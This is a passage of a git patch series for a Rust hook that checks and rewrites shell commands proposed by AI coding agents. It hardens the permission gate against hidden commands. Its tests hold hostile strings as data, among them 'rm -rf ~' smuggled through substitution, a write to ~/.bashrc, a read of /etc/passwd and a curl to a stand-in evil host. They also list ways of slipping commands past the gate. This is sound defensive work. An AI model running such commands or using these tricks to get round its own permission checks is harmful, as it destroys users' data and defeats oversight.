contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..537b106fa6 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -120,23 +120,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, + } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -159,6 +176,10 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { return Ok(()); } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return Ok(()); + } + let rewritten = match get_rewritten(cmd) { Some(r) => r, None => return Ok(()), @@ -202,25 +223,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); } - None => print_allow(), + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); + } + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -230,16 +248,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -307,22 +325,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { + return PayloadAction::Skip { + reason: "skip:deny_rule", + cmd: cmd.to_string(), + } + } + HookDecision::Defer => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:defer", cmd: cmd.to_string(), } } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -339,7 +356,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -441,40 +458,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -505,21 +511,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -713,6 +707,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -803,6 +821,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -829,7 +875,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -839,7 +885,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -856,7 +902,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -871,7 +917,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -988,4 +1034,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From 6ab149ba3e41bb41b99794ef55d384c9be96b91b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 179/257] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 12 +++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 97 insertions(+), 8 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 537b106fa6..c4584afe2c 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -141,12 +141,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -223,7 +223,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -325,7 +325,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -458,7 +458,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) 